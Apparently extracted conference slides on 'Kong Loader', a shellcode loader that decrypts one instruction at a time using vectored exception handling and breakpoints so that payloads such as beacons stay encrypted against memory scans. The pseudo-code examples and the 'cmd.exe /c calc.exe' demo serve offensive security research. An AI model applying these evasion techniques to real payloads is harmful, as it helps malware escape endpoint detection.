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System: Tijme is online
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Tijme: 
We should build a rolling shellcode decryptor.
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Proof of Concept (PoC) from Michaël

char encryption_key[] = { 0xDE, 0x41 };       // Encryption key

char shellcode[] = {

0xe2, 0x6d, 0x6a, 0x9d, 0xb9, 0x9d, 0xb9, // Encrypted: mov rax, 0x13371337

0x69 // Encrypted: ret

};

uint8_t* poc_michael() {

...                                       // Function for rolling decryption/execution

}

void main() {

printf(”Result: 0x%x\n”, poc_michael(shellcode, xor_key));

}

Pseudo c-code

$ .\poc.exe

Result: 0x13371337

cmd.exe
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Introduction
Let’s align on loading shellcode
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Position Dependent Code Position Independent Code

void main() {

const char* msg = "Hello";

printf(msg);

}

void main() {

char msg[] = {'H','e','l','l','o', 0};

printf(msg);

}

section .data

msg db "Hello”   ; Hello

section .text

global _start

_start: 

mov rax, 1 ; sys_write

mov rdi, 1 ; stdout

mov rsi, msg     ; absolute address

mov rdx, 5 ; str length

syscall

section .text

global _start

_start: 

sub rsp, 5

mov dword [rsp], 0x48 ; H

mov dword [rsp+1], 0x6f6c6c65 ; ello

mov rax, 1 ; sys_write

mov rdi, 1 ; stdout

lea rsi, [rsp] ; relative addr

mov rdx, 5 ; str length

syscall
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33,0x7a,0x6a,0x32,0x6a,0x6f,0x67,0x58,0x34,0x21,0x68,0x74

73,0x63,0x57,0x4e,0x56,0x71,0x44,0x5a,0x26,0x6a,0x33,0x47,0x35

6e,0x53,0x3c,0x52,0x42,0x61,0x2e,0x40,0x44,0x6a,0x33,0x41,0x48

TheWover’s Donut

A Position Independent Code (PIC) wrapper for all kinds of files

• Project:

– https://github.com/TheWover/donut

• Accepts inputs:

– EXE, DLL, VBScript, Jscript, .NET, etc

• Outputs:

– Position Independent Code



x76,0x31, 

23   37,0x68, 21

44,   2,0x68,0.       7,0x68,0x61,

6c,0x 6,0x6d,0x.   x6f,0x57,

67,0x28,0x62,0x3. 0x2c,
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3d,0x32,0x5b,0x45,0x45,0x3d,0x2f,0x53,0x66,   a,0x2b,0x21,0x4a,

52,0x46,0x23,0x53,0x4a,0x28,0x33,0x34,0x69,0. e,0x5e,0x6f,0x51

33,0x2a,0x46,0x21,0x46,0x6f,0x53,0x71,0x58,0x52,0x44,0x53

24,0x51,0x56,0x59,0x2b,0x21,0x28,0x69,0x68,0x28,0x53,0x52,0x33,0x7a

35,0x2d,0x45,0x7a,0x6d,0x70,0x2a,0x71,0x28,0x6d,0x45,0x49,0x41,0x40

28,0x67,0x45,0x78,0x3b,0x23,0x68,0x4c,0x57,0x6f,0x2e,0x4a,0x44,

58,0x6a,0x71,0x33,0x4f,0x35,0x6e,0x69,0x24,0x6b,0x26,0x33,0x7b

33,0x7a,0x6a,0x32,0x6a,0x6f,0x67,0x58,0x34,0x21,0x68,0x74

73,0x63,0x57,0x4e,0x56,0x71,0x44,0x5a,0x26,0x6a,0x33,0x47,0x35

6e,0x53,0x3c,0x52,0x42,0x61,0x2e,0x40,0x44,0x6a,0x33,0x41,0x48

Loading the shellcode

char shellcode[] = {

0x48, 0x83, 0xEC, 0x05, // sub rsp, 5

0xC7, 0x04, 0x24, 0x48, 0x00, 0x00, 0x00, // H

0xC7, 0x44, 0x24, 0x01, 0x65, 0x6C, 0x6C, 0x6F, // ello

0x48, 0xC7, 0xC0, 0x01, 0x00, 0x00, 0x00, // sys_write

0x48, 0xC7, 0xC7, 0x01, 0x00, 0x00, 0x00, // stdout

0x48, 0x8D, 0x34, 0x24, // relative addr

0x48, 0xC7, 0xC2, 0x05, 0x00, 0x00, 0x00, // str length

0x0F, 0x05 // syscall

};

void main() {

void* exec_mem = mmap(NULL, sizeof(shellcode), PROT_READ | PROT_WRITE | PROT_EXEC, ...);

memcpy(exec_mem, shellcode, sizeof(shellcode));

exec_mem();

}

Pseudo c-code



x76,0x31, 

23   37,0x68, 21

44,   2,0x68,0.       7,0x68,0x61,

6c,0x 6,0x6d,0x.   x6f,0x57,

67,0x28,0x62,0x3. 0x2c,

48,0x39,0x58,0x21,0x2b,

25,0x39,0x5b,0x69,0x4d

6a,0x77,0x50,0x2d,0x45,0x37,    0x42,0x56      0x58,0x23,0x24,0x32

3d,0x32,0x5b,0x45,0x45,0x3d,0x2f,0x53,0x66,   a,0x2b,0x21,0x4a,

52,0x46,0x23,0x53,0x4a,0x28,0x33,0x34,0x69,0. e,0x5e,0x6f,0x51

33,0x2a,0x46,0x21,0x46,0x6f,0x53,0x71,0x58,0x52,0x44,0x53

24,0x51,0x56,0x59,0x2b,0x21,0x28,0x69,0x68,0x28,0x53,0x52,0x33,0x7a

35,0x2d,0x45,0x7a,0x6d,0x70,0x2a,0x71,0x28,0x6d,0x45,0x49,0x41,0x40

28,0x67,0x45,0x78,0x3b,0x23,0x68,0x4c,0x57,0x6f,0x2e,0x4a,0x44,

58,0x6a,0x71,0x33,0x4f,0x35,0x6e,0x69,0x24,0x6b,0x26,0x33,0x7b

33,0x7a,0x6a,0x32,0x6a,0x6f,0x67,0x58,0x34,0x21,0x68,0x74

73,0x63,0x57,0x4e,0x56,0x71,0x44,0x5a,0x26,0x6a,0x33,0x47,0x35

6e,0x53,0x3c,0x52,0x42,0x61,0x2e,0x40,0x44,0x6a,0x33,0x41,0x48

Loading the shellcode

char shellcode[] = {

0x48, 0x83, 0xEC, 0x05, // sub rsp, 5

0xC7, 0x04, 0x24, 0x48, 0x00, 0x00, 0x00, // H

0xC7, 0x44, 0x24, 0x01, 0x65, 0x6C, 0x6C, 0x6F, // ello

0x48, 0xC7, 0xC0, 0x01, 0x00, 0x00, 0x00, // sys_write

0x48, 0xC7, 0xC7, 0x01, 0x00, 0x00, 0x00, // stdout

0x48, 0x8D, 0x34, 0x24, // relative addr

0x48, 0xC7, 0xC2, 0x05, 0x00, 0x00, 0x00, // str length

0x0F, 0x05 // syscall

};

void main() {

void* exec_mem = mmap(NULL, sizeof(shellcode), PROT_READ | PROT_WRITE | PROT_EXEC, ...);

memcpy(exec_mem, shellcode, sizeof(shellcode));

exec_mem();

}

Pseudo c-code

Prints “Hello” successfully 

Initial exec memory scan

Behaviour memory scans

Continuous memory scans
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6c,0x 6,0x6d,0x.   x6f,0x57,
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52,0x46,0x23,0x53,0x4a,0x28,0x33,0x34,0x69,0. e,0x5e,0x6f,0x51

33,0x2a,0x46,0x21,0x46,0x6f,0x53,0x71,0x58,0x52,0x44,0x53

24,0x51,0x56,0x59,0x2b,0x21,0x28,0x69,0x68,0x28,0x53,0x52,0x33,0x7a

35,0x2d,0x45,0x7a,0x6d,0x70,0x2a,0x71,0x28,0x6d,0x45,0x49,0x41,0x40

28,0x67,0x45,0x78,0x3b,0x23,0x68,0x4c,0x57,0x6f,0x2e,0x4a,0x44,

58,0x6a,0x71,0x33,0x4f,0x35,0x6e,0x69,0x24,0x6b,0x26,0x33,0x7b

33,0x7a,0x6a,0x32,0x6a,0x6f,0x67,0x58,0x34,0x21,0x68,0x74

73,0x63,0x57,0x4e,0x56,0x71,0x44,0x5a,0x26,0x6a,0x33,0x47,0x35

6e,0x53,0x3c,0x52,0x42,0x61,0x2e,0x40,0x44,0x6a,0x33,0x41,0x48

Sleep mask

loader.exe Decrypt 
shellcode

Run malicious 
command(s)

Encrypt 
shellcode

Sleep for 
a while

Beacon mostly decrypted in-memory 
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48,0x39,0x58,0x21,0x2b,

25,0x39,0x5b,0x69,0x4d

6a,0x77,0x50,0x2d,0x45,0x37,    0x42,0x56      0x58,0x23,0x24,0x32

3d,0x32,0x5b,0x45,0x45,0x3d,0x2f,0x53,0x66,   a,0x2b,0x21,0x4a,

52,0x46,0x23,0x53,0x4a,0x28,0x33,0x34,0x69,0. e,0x5e,0x6f,0x51

33,0x2a,0x46,0x21,0x46,0x6f,0x53,0x71,0x58,0x52,0x44,0x53

24,0x51,0x56,0x59,0x2b,0x21,0x28,0x69,0x68,0x28,0x53,0x52,0x33,0x7a

35,0x2d,0x45,0x7a,0x6d,0x70,0x2a,0x71,0x28,0x6d,0x45,0x49,0x41,0x40

28,0x67,0x45,0x78,0x3b,0x23,0x68,0x4c,0x57,0x6f,0x2e,0x4a,0x44,

58,0x6a,0x71,0x33,0x4f,0x35,0x6e,0x69,0x24,0x6b,0x26,0x33,0x7b

33,0x7a,0x6a,0x32,0x6a,0x6f,0x67,0x58,0x34,0x21,0x68,0x74

73,0x63,0x57,0x4e,0x56,0x71,0x44,0x5a,0x26,0x6a,0x33,0x47,0x35

6e,0x53,0x3c,0x52,0x42,0x61,0x2e,0x40,0x44,0x6a,0x33,0x41,0x48

Kong Loader
The concept of rolling decryption



x76,0x31, 

23   37,0x68, 21

44,   2,0x68,0.       7,0x68,0x61,

6c,0x 6,0x6d,0x.   x6f,0x57,

67,0x28,0x62,0x3. 0x2c,

48,0x39,0x58,0x21,0x2b,

25,0x39,0x5b,0x69,0x4d

6a,0x77,0x50,0x2d,0x45,0x37,    0x42,0x56      0x58,0x23,0x24,0x32

3d,0x32,0x5b,0x45,0x45,0x3d,0x2f,0x53,0x66,   a,0x2b,0x21,0x4a,

52,0x46,0x23,0x53,0x4a,0x28,0x33,0x34,0x69,0. e,0x5e,0x6f,0x51

33,0x2a,0x46,0x21,0x46,0x6f,0x53,0x71,0x58,0x52,0x44,0x53

24,0x51,0x56,0x59,0x2b,0x21,0x28,0x69,0x68,0x28,0x53,0x52,0x33,0x7a

35,0x2d,0x45,0x7a,0x6d,0x70,0x2a,0x71,0x28,0x6d,0x45,0x49,0x41,0x40

28,0x67,0x45,0x78,0x3b,0x23,0x68,0x4c,0x57,0x6f,0x2e,0x4a,0x44,

58,0x6a,0x71,0x33,0x4f,0x35,0x6e,0x69,0x24,0x6b,0x26,0x33,0x7b

33,0x7a,0x6a,0x32,0x6a,0x6f,0x67,0x58,0x34,0x21,0x68,0x74

73,0x63,0x57,0x4e,0x56,0x71,0x44,0x5a,0x26,0x6a,0x33,0x47,0x35

6e,0x53,0x3c,0x52,0x42,0x61,0x2e,0x40,0x44,0x6a,0x33,0x41,0x48

The concept of rolling decryption

loader.exe Decrypt only current 
assembly instruction from 

shellcode

Encrypt current 
assembly instruction 
from shellcode again

Move to next instruction

Run current 
instruction

mov dword [rsp+1], 0x6f6c6c65

mov rax, [0x00007f489af3]

cmp rax, 1  

jne rip+0x1000

mov dword [rsp+1], 0x6f6c6c65
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6c,0x 6,0x6d,0x.   x6f,0x57,

67,0x28,0x62,0x3. 0x2c,

48,0x39,0x58,0x21,0x2b,

25,0x39,0x5b,0x69,0x4d

6a,0x77,0x50,0x2d,0x45,0x37,    0x42,0x56      0x58,0x23,0x24,0x32

3d,0x32,0x5b,0x45,0x45,0x3d,0x2f,0x53,0x66,   a,0x2b,0x21,0x4a,

52,0x46,0x23,0x53,0x4a,0x28,0x33,0x34,0x69,0. e,0x5e,0x6f,0x51

33,0x2a,0x46,0x21,0x46,0x6f,0x53,0x71,0x58,0x52,0x44,0x53

24,0x51,0x56,0x59,0x2b,0x21,0x28,0x69,0x68,0x28,0x53,0x52,0x33,0x7a

35,0x2d,0x45,0x7a,0x6d,0x70,0x2a,0x71,0x28,0x6d,0x45,0x49,0x41,0x40

28,0x67,0x45,0x78,0x3b,0x23,0x68,0x4c,0x57,0x6f,0x2e,0x4a,0x44,

58,0x6a,0x71,0x33,0x4f,0x35,0x6e,0x69,0x24,0x6b,0x26,0x33,0x7b

33,0x7a,0x6a,0x32,0x6a,0x6f,0x67,0x58,0x34,0x21,0x68,0x74

73,0x63,0x57,0x4e,0x56,0x71,0x44,0x5a,0x26,0x6a,0x33,0x47,0x35

6e,0x53,0x3c,0x52,0x42,0x61,0x2e,0x40,0x44,0x6a,0x33,0x41,0x48

Internals
Just In Time (JIT) instruction decryption
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52,0x46,0x23,0x53,0x4a,0x28,0x33,0x34,0x69,0. e,0x5e,0x6f,0x51

33,0x2a,0x46,0x21,0x46,0x6f,0x53,0x71,0x58,0x52,0x44,0x53

24,0x51,0x56,0x59,0x2b,0x21,0x28,0x69,0x68,0x28,0x53,0x52,0x33,0x7a

35,0x2d,0x45,0x7a,0x6d,0x70,0x2a,0x71,0x28,0x6d,0x45,0x49,0x41,0x40

28,0x67,0x45,0x78,0x3b,0x23,0x68,0x4c,0x57,0x6f,0x2e,0x4a,0x44,

58,0x6a,0x71,0x33,0x4f,0x35,0x6e,0x69,0x24,0x6b,0x26,0x33,0x7b

33,0x7a,0x6a,0x32,0x6a,0x6f,0x67,0x58,0x34,0x21,0x68,0x74

73,0x63,0x57,0x4e,0x56,0x71,0x44,0x5a,0x26,0x6a,0x33,0x47,0x35

6e,0x53,0x3c,0x52,0x42,0x61,0x2e,0x40,0x44,0x6a,0x33,0x41,0x48

Vectored Exception Handling (VEH)

char shellcode[] = { 0x48, 0xC7, 0xC7, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x34, 0x24, 0x48, 0xC7 };

void main() {

void* exec_mem = mmap(NULL, sizeof(shellcode), PROT_READ | PROT_WRITE | PROT_EXEC, ...);

memcpy(exec_mem, shellcode, sizeof(shellcode));

exec_mem();

}

Pseudo c-code
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67,0x28,0x62,0x3. 0x2c,

48,0x39,0x58,0x21,0x2b,

25,0x39,0x5b,0x69,0x4d

6a,0x77,0x50,0x2d,0x45,0x37,    0x42,0x56      0x58,0x23,0x24,0x32

3d,0x32,0x5b,0x45,0x45,0x3d,0x2f,0x53,0x66,   a,0x2b,0x21,0x4a,

52,0x46,0x23,0x53,0x4a,0x28,0x33,0x34,0x69,0. e,0x5e,0x6f,0x51

33,0x2a,0x46,0x21,0x46,0x6f,0x53,0x71,0x58,0x52,0x44,0x53

24,0x51,0x56,0x59,0x2b,0x21,0x28,0x69,0x68,0x28,0x53,0x52,0x33,0x7a

35,0x2d,0x45,0x7a,0x6d,0x70,0x2a,0x71,0x28,0x6d,0x45,0x49,0x41,0x40

28,0x67,0x45,0x78,0x3b,0x23,0x68,0x4c,0x57,0x6f,0x2e,0x4a,0x44,

58,0x6a,0x71,0x33,0x4f,0x35,0x6e,0x69,0x24,0x6b,0x26,0x33,0x7b

33,0x7a,0x6a,0x32,0x6a,0x6f,0x67,0x58,0x34,0x21,0x68,0x74

73,0x63,0x57,0x4e,0x56,0x71,0x44,0x5a,0x26,0x6a,0x33,0x47,0x35

6e,0x53,0x3c,0x52,0x42,0x61,0x2e,0x40,0x44,0x6a,0x33,0x41,0x48

Vectored Exception Handling (VEH)

char xord_code[] = { 0x38, 0xB3, 0xF2, 0x19, 0x13, 0x13, 0x13, 0xDE, 0xFF, 0x86, 0x5A, 0xDE, 0x9A };

void main() {

void* exec_mem = mmap(NULL, sizeof(xord_code), PROT_READ | PROT_WRITE | PROT_EXEC, ...);

memcpy(exec_mem, xord_code, sizeof(xord_code));

AddVectoredExceptionHandler(1, ExceptionHandler);

SetBreakpoint(exec_mem);

exec_mem();

}

Pseudo c-code



x76,0x31, 

23   37,0x68, 21

44,   2,0x68,0.       7,0x68,0x61,

6c,0x 6,0x6d,0x.   x6f,0x57,

67,0x28,0x62,0x3. 0x2c,

48,0x39,0x58,0x21,0x2b,

25,0x39,0x5b,0x69,0x4d

6a,0x77,0x50,0x2d,0x45,0x37,    0x42,0x56      0x58,0x23,0x24,0x32
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52,0x46,0x23,0x53,0x4a,0x28,0x33,0x34,0x69,0. e,0x5e,0x6f,0x51
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73,0x63,0x57,0x4e,0x56,0x71,0x44,0x5a,0x26,0x6a,0x33,0x47,0x35

6e,0x53,0x3c,0x52,0x42,0x61,0x2e,0x40,0x44,0x6a,0x33,0x41,0x48

Vectored Exception Handling (VEH)

char xord_code[] = { 0x38, 0xB3, 0xF2, 0x19, 0x13, 0x13, 0x13, 0xDE, 0xFF, 0x86, 0x5A, 0xDE, 0x9A };

LONG ExceptionHandler(PEXCEPTION_POINTERS lpException) {

// .. decrypt current instruction (if any) ..

// .. continue execution ..

}

void main() {

void* exec_mem = mmap(NULL, sizeof(xord_code), PROT_READ | PROT_WRITE | PROT_EXEC, ...);

memcpy(exec_mem, xord_code, sizeof(xord_code));

AddVectoredExceptionHandler(1, ExceptionHandler);

SetBreakpoint(exec_mem);

exec_mem();

}

Pseudo c-code
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33,0x2a,0x46,0x21,0x46,0x6f,0x53,0x71,0x58,0x52,0x44,0x53

24,0x51,0x56,0x59,0x2b,0x21,0x28,0x69,0x68,0x28,0x53,0x52,0x33,0x7a

35,0x2d,0x45,0x7a,0x6d,0x70,0x2a,0x71,0x28,0x6d,0x45,0x49,0x41,0x40

28,0x67,0x45,0x78,0x3b,0x23,0x68,0x4c,0x57,0x6f,0x2e,0x4a,0x44,

58,0x6a,0x71,0x33,0x4f,0x35,0x6e,0x69,0x24,0x6b,0x26,0x33,0x7b

33,0x7a,0x6a,0x32,0x6a,0x6f,0x67,0x58,0x34,0x21,0x68,0x74

73,0x63,0x57,0x4e,0x56,0x71,0x44,0x5a,0x26,0x6a,0x33,0x47,0x35

6e,0x53,0x3c,0x52,0x42,0x61,0x2e,0x40,0x44,0x6a,0x33,0x41,0x48

Vectored Exception Handling (VEH)

SetBreakpoint(exec_mem);

Pseudo c-code

/** 

 * Configure a breakpoint in the debug registers. 

 * 

 * @param PCONTEXT lpContext A thread context during a vectored exception. 

 * @param uint8_t* dwAddress The address to breakpoint on. 

 */ 

void SetBreakpoint(PCONTEXT lpContext, uint8_t* dwAddress) { 

    if (dwAddress != NULL) { 

        lpContext->Dr0 = (DWORD64) dwAddress; 

        lpContext->Dr7 = 0x00000001; 

    } else { 

        lpContext->Dr0 = 0x00000000; 

        lpContext->Dr7 = 0x00000000; 

    } 

}
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52,0x46,0x23,0x53,0x4a,0x28,0x33,0x34,0x69,0. e,0x5e,0x6f,0x51
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73,0x63,0x57,0x4e,0x56,0x71,0x44,0x5a,0x26,0x6a,0x33,0x47,0x35

6e,0x53,0x3c,0x52,0x42,0x61,0x2e,0x40,0x44,0x6a,0x33,0x41,0x48

Vectored Exception Handling (VEH)

ExceptionHandler

Pseudo c-code

/** 

 * The excetion/instruction handler being executed for every single instruction in the payload. 

 * 

 * @param PEXCEPTION_POINTERS lpException Contains the exception record. 

 * @return LONG The action to perform after this exception. 

 */ 

LONG ExceptionHandler(PEXCEPTION_POINTERS lpException) { 

    // Encrypt previous instruction 

    if (lpPreviousInstructionAddress != NULL) { 

        Encrypt(lpPreviousInstructionAddress, 16) 

    } 

    // Decrypt 16 bytes for the current instruction 

    Decrypt(lpException->ContextRecord->Rip, 16); 

    // Set breakpoint for next instruction, unless we are finished 

    LPVOID lpNextAddress = GetNextAddress(lpException->ContextRecord->Rip); 

    SetNextBreakpoint(lpContext, lpNextAddress); 

    // Continue execution, ignore this 'fake exception’ 

    return EXCEPTION_CONTINUE_EXECUTION; 

}
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3d,0x32,0x5b,0x45,0x45,0x3d,0x2f,0x53,0x66,   a,0x2b,0x21,0x4a,

52,0x46,0x23,0x53,0x4a,0x28,0x33,0x34,0x69,0. e,0x5e,0x6f,0x51
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28,0x67,0x45,0x78,0x3b,0x23,0x68,0x4c,0x57,0x6f,0x2e,0x4a,0x44,

58,0x6a,0x71,0x33,0x4f,0x35,0x6e,0x69,0x24,0x6b,0x26,0x33,0x7b

33,0x7a,0x6a,0x32,0x6a,0x6f,0x67,0x58,0x34,0x21,0x68,0x74

73,0x63,0x57,0x4e,0x56,0x71,0x44,0x5a,0x26,0x6a,0x33,0x47,0x35

6e,0x53,0x3c,0x52,0x42,0x61,0x2e,0x40,0x44,0x6a,0x33,0x41,0x48

Vectored Exception Handling (VEH)
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6c,0x 6,0x6d,0x.   x6f,0x57,

67,0x28,0x62,0x3. 0x2c,

48,0x39,0x58,0x21,0x2b,

25,0x39,0x5b,0x69,0x4d

6a,0x77,0x50,0x2d,0x45,0x37,    0x42,0x56      0x58,0x23,0x24,0x32

3d,0x32,0x5b,0x45,0x45,0x3d,0x2f,0x53,0x66,   a,0x2b,0x21,0x4a,

52,0x46,0x23,0x53,0x4a,0x28,0x33,0x34,0x69,0. e,0x5e,0x6f,0x51
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24,0x51,0x56,0x59,0x2b,0x21,0x28,0x69,0x68,0x28,0x53,0x52,0x33,0x7a

35,0x2d,0x45,0x7a,0x6d,0x70,0x2a,0x71,0x28,0x6d,0x45,0x49,0x41,0x40

28,0x67,0x45,0x78,0x3b,0x23,0x68,0x4c,0x57,0x6f,0x2e,0x4a,0x44,

58,0x6a,0x71,0x33,0x4f,0x35,0x6e,0x69,0x24,0x6b,0x26,0x33,0x7b

33,0x7a,0x6a,0x32,0x6a,0x6f,0x67,0x58,0x34,0x21,0x68,0x74

73,0x63,0x57,0x4e,0x56,0x71,0x44,0x5a,0x26,0x6a,0x33,0x47,0x35

6e,0x53,0x3c,0x52,0x42,0x61,0x2e,0x40,0x44,0x6a,0x33,0x41,0x48

Vectored Exception Handling (VEH)

/** 

 * The excetion/instruction handler being executed for every single instruction in the payload. 

 * 

 * @param PEXCEPTION_POINTERS lpException Contains the exception record. 

 * @return LONG The action to perform after this exception. 

 */ 

LONG ExceptionHandler(PEXCEPTION_POINTERS lpException) { 

    ...

    // Set breakpoint for next instruction, unless we are finished 

    // Set TRAP flag to generate next EXCEPTION_SINGLE_STEP 

    lpException->ContextRecord->EFlags |= (1 << 8);

    // Continue execution, ignore this 'fake exception’ 

    return EXCEPTION_CONTINUE_EXECUTION; 

}
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52,0x46,0x23,0x53,0x4a,0x28,0x33,0x34,0x69,0. e,0x5e,0x6f,0x51

33,0x2a,0x46,0x21,0x46,0x6f,0x53,0x71,0x58,0x52,0x44,0x53

24,0x51,0x56,0x59,0x2b,0x21,0x28,0x69,0x68,0x28,0x53,0x52,0x33,0x7a

35,0x2d,0x45,0x7a,0x6d,0x70,0x2a,0x71,0x28,0x6d,0x45,0x49,0x41,0x40

28,0x67,0x45,0x78,0x3b,0x23,0x68,0x4c,0x57,0x6f,0x2e,0x4a,0x44,

58,0x6a,0x71,0x33,0x4f,0x35,0x6e,0x69,0x24,0x6b,0x26,0x33,0x7b

33,0x7a,0x6a,0x32,0x6a,0x6f,0x67,0x58,0x34,0x21,0x68,0x74

73,0x63,0x57,0x4e,0x56,0x71,0x44,0x5a,0x26,0x6a,0x33,0x47,0x35

6e,0x53,0x3c,0x52,0x42,0x61,0x2e,0x40,0x44,0x6a,0x33,0x41,0x48

Caveats & enhancements
Much problem. So caveats. Very debug. 
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6c,0x 6,0x6d,0x.   x6f,0x57,

67,0x28,0x62,0x3. 0x2c,
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52,0x46,0x23,0x53,0x4a,0x28,0x33,0x34,0x69,0. e,0x5e,0x6f,0x51

33,0x2a,0x46,0x21,0x46,0x6f,0x53,0x71,0x58,0x52,0x44,0x53

24,0x51,0x56,0x59,0x2b,0x21,0x28,0x69,0x68,0x28,0x53,0x52,0x33,0x7a

35,0x2d,0x45,0x7a,0x6d,0x70,0x2a,0x71,0x28,0x6d,0x45,0x49,0x41,0x40

28,0x67,0x45,0x78,0x3b,0x23,0x68,0x4c,0x57,0x6f,0x2e,0x4a,0x44,

58,0x6a,0x71,0x33,0x4f,0x35,0x6e,0x69,0x24,0x6b,0x26,0x33,0x7b

33,0x7a,0x6a,0x32,0x6a,0x6f,0x67,0x58,0x34,0x21,0x68,0x74

73,0x63,0x57,0x4e,0x56,0x71,0x44,0x5a,0x26,0x6a,0x33,0x47,0x35

6e,0x53,0x3c,0x52,0x42,0x61,0x2e,0x40,0x44,0x6a,0x33,0x41,0x48

• Simple Hello World:

– 2847 breakpoints

– 0.something seconds to print “Hello World”

• Simple staged beacon

– Millions of breakpoints

– 38 seconds to spawn the shell

• Any stageless beacon

– Estimated billions of breakpoints

– Don’t even know how long this will take

Endless execution
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52,0x46,0x23,0x53,0x4a,0x28,0x33,0x34,0x69,0. e,0x5e,0x6f,0x51

33,0x2a,0x46,0x21,0x46,0x6f,0x53,0x71,0x58,0x52,0x44,0x53

24,0x51,0x56,0x59,0x2b,0x21,0x28,0x69,0x68,0x28,0x53,0x52,0x33,0x7a

35,0x2d,0x45,0x7a,0x6d,0x70,0x2a,0x71,0x28,0x6d,0x45,0x49,0x41,0x40

28,0x67,0x45,0x78,0x3b,0x23,0x68,0x4c,0x57,0x6f,0x2e,0x4a,0x44,
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33,0x7a,0x6a,0x32,0x6a,0x6f,0x67,0x58,0x34,0x21,0x68,0x74

73,0x63,0x57,0x4e,0x56,0x71,0x44,0x5a,0x26,0x6a,0x33,0x47,0x35

6e,0x53,0x3c,0x52,0x42,0x61,0x2e,0x40,0x44,0x6a,0x33,0x41,0x48

• We stop breakpointing on every instruction

– TRAP flag approach.

• Instead, we set a breakpoint only within our shellcode.

– Efficient breakpoint calculation.

Endless execution

Pseudo c-code

TRAP flag approach (step into)

BP01: int SHOW_CMD = 1;

BP02: char* cmd = "cmd.exe /c calc.exe"; 

BP03: ShellExecuteW(..., cmd, SHOW_CMD, ...); 

BP04:  ↳ ULONG v6; 
BP05:    SHELLEXECUTEINFOW pExecInfo; 

BP06:    pExecInfo.lpDirectory = lpDirectory; 

BP07:    v6 = 5120; 

BP08:    pExecInfo.nShow = nShowCmd; 

BP09:    pExecInfo.hwnd = hwnd; 

BP10:    pExecInfo.cbSize = 112; 

BP11:    pExecInfo.lpVerb = lpOperation; 

BP12:    pExecInfo.lpFile = lpFile; 

BP13:    pExecInfo.lpParameters = lpParameters; 

BP14:    memset(&pExecInfo.hInstApp, 0, 56); 

BP15:    if (!(unsigned int)IsAppCompatModeEnabled(10)) 

BP16:    ...

BP01: printf("Starting to exeucte CMD command!"); 

BP02: char* cmd = "cmd.exe /c calc.exe"; 

BP03: ShellExecuteW(..., cmd, ...); 

BP04: printf("Finished executing CMD command!");

Pseudo c-code

Efficient breakpoint calculation (step over)
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52,0x46,0x23,0x53,0x4a,0x28,0x33,0x34,0x69,0. e,0x5e,0x6f,0x51
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24,0x51,0x56,0x59,0x2b,0x21,0x28,0x69,0x68,0x28,0x53,0x52,0x33,0x7a

35,0x2d,0x45,0x7a,0x6d,0x70,0x2a,0x71,0x28,0x6d,0x45,0x49,0x41,0x40

28,0x67,0x45,0x78,0x3b,0x23,0x68,0x4c,0x57,0x6f,0x2e,0x4a,0x44,

58,0x6a,0x71,0x33,0x4f,0x35,0x6e,0x69,0x24,0x6b,0x26,0x33,0x7b

33,0x7a,0x6a,0x32,0x6a,0x6f,0x67,0x58,0x34,0x21,0x68,0x74

73,0x63,0x57,0x4e,0x56,0x71,0x44,0x5a,0x26,0x6a,0x33,0x47,0x35

6e,0x53,0x3c,0x52,0x42,0x61,0x2e,0x40,0x44,0x6a,0x33,0x41,0x48

Variables stored inside shellcode itself (used as pointers) are always encrypted.

MOV with known size (always 8, 16, 32 or 64 bits):

Vague encryption states

Pseudo c-code

...

case ZYDIS_MNEMONIC_MOV: 

case ZYDIS_MNEMONIC_MOVNTDQ: 

case ZYDIS_MNEMONIC_MOVNTDQA: 

case ZYDIS_MNEMONIC_MOVNTSD: 

case ZYDIS_MNEMONIC_MOVNTSS: 

case ZYDIS_MNEMONIC_MOVQ: 

case ZYDIS_MNEMONIC_MOVSLDUP: 

case ZYDIS_MNEMONIC_MOVSS: 

case ZYDIS_MNEMONIC_MOVUPD:

if (secondOperandType == MEMORY) { 

    Decrypt(

        GetRegisterValue(secondOperandValue), 

        secondOperandSize

    ); 

}

... continue ...

Kong Loader Source: Decrypting shellcode based on source operandslea rcx, [rip+0x4]           ; Load address of data 

mov eax, [rcx]               ; Move rcx value into eax 

ret                          ; Return

.byte 0x13, 0x37, 0x13, 0x37 ; Data (encrypted)

Pseudo assembly

lea rcx, [rip+0x4]           ; Load address of data 

mov eax, [rcx]               ; Move rcx value into eax 

ret                          ; Return

.byte 0x13, 0x37, 0x13, 0x37 ; Data (encrypted)

lea rcx, [rip+0x4]           ; Load address of data 

mov eax, [rcx]               ; Move rcx value into eax 

ret                          ; Return

.byte 0x13, 0x37, 0x13, 0x37 ; Data (encrypted)

lea rcx, [rip+0x4]           ; Load address of data 

mov eax, [rcx]               ; Move rcx value into eax 

ret                          ; Return

.byte 0x13, 0x37, 0x13, 0x37 ; Data (encrypted)

lea rcx, [rip+0x4]           ; Load address of data 

mov eax, [rcx]               ; Move rcx value into eax 

ret                          ; Return

.byte 0x13, 0x37, 0x13, 0x37 ; Data (encrypted)
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33,0x7a,0x6a,0x32,0x6a,0x6f,0x67,0x58,0x34,0x21,0x68,0x74

73,0x63,0x57,0x4e,0x56,0x71,0x44,0x5a,0x26,0x6a,0x33,0x47,0x35

6e,0x53,0x3c,0x52,0x42,0x61,0x2e,0x40,0x44,0x6a,0x33,0x41,0x48

Variables stored inside shellcode itself (used as pointers) are always encrypted.

Call with unknown pointer argument sizes

Vague encryption states

Pseudo c-code

...

struct KnownFunction KnownFunctions[] = { 

    { "ShellExecute", SIZE_TYPE_STRING }, 

    { "RtlDecompressBuffer", SIZE_IN_FIFTH_ARGUMENT } 

}; 

if (FunctionName(address) == "ShellExecute") { 

    DecryptNullTerminatedString(firstOperandValue); 

} 

if (FunctionName(address) == "RtlDecompressBuffer") {

    Decrypt(fourthOperandValue, fifthOperandValue); 

}

... continue ...

Kong Loader Source: Decrypting shellcode on best-effort practicelea rcx, [rip+0x4]           ; Load address of data 

call ShellExecute            ; ShellExecute (&data)

ret                          ; Return

.byte 0x13, 0x37, 0x13, 0x37 ; Data (encrypted)

Pseudo assembly

lea rcx, [rip+0x4]           ; Load address of data 

call ShellExecute            ; ShellExecute (&data)

ret                          ; Return

.byte 0x13, 0x37, 0x13, 0x37 ; Data (encrypted)

lea rcx, [rip+0x4]           ; Load address of data 

call ShellExecute            ; ShellExecute (&data)

ret                          ; Return

.byte 0x13, 0x37, 0x13, 0x37 ; Data (encrypted)

lea rcx, [rip+0x4]           ; Load address of data 

call ShellExecute            ; ShellExecute (&data)

ret                          ; Return

.byte 0x13, 0x37, 0x13, 0x37 ; Data (encrypted)

